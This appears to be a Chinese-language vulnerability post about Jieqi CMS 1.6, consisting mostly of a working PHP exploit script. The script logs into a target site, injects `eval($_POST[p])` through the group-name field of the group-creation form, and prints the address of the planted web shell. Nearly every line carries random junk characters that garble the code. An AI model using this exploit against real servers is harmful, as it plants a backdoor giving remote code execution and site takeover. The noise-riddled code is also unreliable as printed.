杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。0 _, l) c! g* E7 P, s& E
* ^% {" ^, G J
; _* ~& K2 I$ E: c% K& }% ~4 N& A( R该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
+ N6 \" K( Z6 g- a4 @5 \4 R U7 F# K 需要有一个能创建圈子的用户。
3 k) A+ j+ L0 f* S- c ~( ~+ x+ f+ t' v
<?php+ X! M9 Z& e( [( ]" H* a- K
' V+ T3 w* w1 ^" F y. P1 vprint_r('
- \) q$ @& a) t, n# E$ \: i. ~+---------------------------------------------------------------------------+
/ c$ F+ m$ A, RJieqi CMS V1.6 PHP Code Injection Exploit. O4 w* R5 H. u: ~" k* K6 o M
by flyh4t1 M7 Z' q' b0 @( P4 }% _
mail: phpsec at hotmail dot com
+ u- |4 E" F! }% [- v% S2 O9 M4 zteam: http://www.wolvez.org7 U5 T1 {" C& @
+---------------------------------------------------------------------------+1 \: }3 n+ G* |9 }6 f* P3 m
'); /**# [9 t* ]4 x1 f8 B" c+ V
* works regardless of php.ini settings0 U' S5 \ L m( H+ ?
*/ if ($argc < 5) { print_r('
$ [& v: z6 S, p( P+---------------------------------------------------------------------------+& `; {6 y, Q. T
Usage: php '.$argv[0].' host path username! E) ^; v$ f* ], t) o$ p
host: target server (ip/hostname)
( \7 n+ d; Q0 npath: path to jieqicms ! \& ~$ P/ ?$ j
uasename: a username who can create group
. F7 q U; f7 @( V& V, `8 M$ CExample:
0 O" K7 h0 Q0 l; y# g8 cphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password" B9 i7 R, b3 D* A" G
+---------------------------------------------------------------------------+% b6 B0 i- p& k$ s& Y+ A
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961+ i$ ?- e; p: E. [5 D2 g8 }/ @
Content-Disposition: form-data; name="gname"3 F% X6 s. S2 z9 k
2 d/ A q- l* I$ t
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t" f4 A2 J2 I; v) H
-----------------------------23281168279961
; G% ^6 h2 Y1 e; k- |Content-Disposition: form-data; name="gcatid"
( ?( x8 J, s4 k5 @ / @( s$ S3 M5 j) [+ J
1
& t' S3 D" Q* W2 {( [- d! @-----------------------------23281168279961
- w5 j( o/ M7 l' C8 P- Y7 T3 v9 QContent-Disposition: form-data; name="gaudit"
4 J: R- G1 T) F. i1 E% v 4 v+ E0 e; }+ m( t$ s1 v* W' J
1
) E9 o* q& p8 T: e' `: ^! \/ L: k-----------------------------23281168279961
; r& `& i8 ]5 k- n5 W+ W" n0 c1 R( nContent-Disposition: form-data; name="gbrief"# g- }4 |: o' n' _
! n0 T( v* g [2 A" f
13 T' [6 t. d9 G6 @2 p1 O
-----------------------------23281168279961--6 C# O) A5 f5 d% d V7 u- K
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com7 U) b3 _* M6 O. q6 B9 H& w
" O9 R, S4 R. Y9 \) k n2 Tpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |